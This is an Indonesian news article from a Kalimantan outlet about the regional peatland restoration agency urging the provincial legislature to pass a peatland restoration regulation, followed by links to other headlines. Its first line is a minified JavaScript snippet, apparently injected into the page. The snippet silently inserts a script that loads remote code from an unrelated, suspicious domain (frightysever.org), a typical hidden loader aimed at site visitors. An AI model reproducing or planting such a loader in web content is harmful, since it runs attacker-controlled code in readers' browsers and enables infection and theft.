(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Guna menjaga kelestarian lingkungan Kalimantan Selatan, khususnya kawasan lahan gambut,  Badan Restorasi Lahan Gambut Kalsel melakukan audiensi ke DPRD Provinsi. Mereka mendesak pembentukan Perda tentang regulasi Restorasi Lahan Gambut,  Kamis (28/9).
Kepala Restorasi Lahan Gambut Kalsel,  Samosir mengatakan, restorasi bertujuan memperbaiki struktur pembangunan di  lahan gambut. Agar terealisasi, maka perlu adanya payung hukum berupa Peraturan Daerah (Perda). “Mengingat bahwa Perda untuk Karhutla sudah diterapkan,” ujarnya.
Di sisi lain, akademisi dan pemerhati hukum lingkungan, Prof Hadin Muhjad mengatakan,  perlu adanya regulasi dan harus dibuat oleh pemerintah baik dari eksekutif dan legislatif.  Sebab dia menilai Perda nomor 1 tahun 2016 yang selama ini diterapkan tidak bisa mengcover terkait kebakaran lahan gambut.
Sementara Ketua Badan Pembentukan Peraturan Daerah, Rosehan NB menjelaskan, usulan ini terlebih dahulu dikoordinasikan dengan Gubernur ,  SKPD terkait, serta konsultasi dengan Biro Hukum Pemprov Kalsel. Namun ia menekankan bahwa dalam waktu tiga bulan kemungkinan Raperda ini sangat tipis dirancang oleh pihak DPRD,  kecuali lewat eksekutif yaitu biro hukum Pemprov. “Relatif masih sedikit untuk daerah yang mengatur restorasi lahan gambut,”  ujarnya.
Rosehan sangat mengapresiasi pihak Badan Restorasi Lahan Gambut apabila ada petunjuk teknis yang mengatur tentang masalah di lapangan sudah lengkap dan tertata secara sistematis. “Apabila serius pihak Badan Restorasi Lahan Gambut bisa berkoodinasi langsung dengan Komisi II, ” ujarnya saat memimpin rapat audiensi tersebut.
Rapat tersebut sebelumnya diikuti oleh sejumlah instansi mulai dari SKPD, kampus, LSM, BPBD, BLDH, dewan, Dansatgas Karhutlah dan peserta lainnya.
Sebelumnya, Kalsel memprogramkan aksi restorasi lahan gambut pada 10 kabupaten/kota dalam lima tahun ke depan dengan target 79.000 hektar. Untuk mengawali aksi tersebut TRGD Kalsel akan memprioritaskan lima kabupaten/kota tahun ini. Daerah tersebut di antaranya Kabupaten Hulu Sungai Selatan, Hulu Sungai Utara, Balangan, Barito Kuala dan Kota Banjarbaru.
Wagub Kalsel Rudy Resnawan mengatakan, restorasi lahan gambut merupakan tugas besar bagi semua, perubahan kawasan gambut menjadi produktif dan ramah lingkungan bukan hanya untuk kepentingan daerah tetapi juga untuk kepentingan nasional.
“Bahkan restorasi kawasan gambut juga sekaligus menjawab kritik negara-negara tetangga yang seringkali keberatan terhadap penyebaran kabut asap yang diakibatkan oleh kebakaran lahan gambut,” ungkapnya. ***
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
This website uses cookies.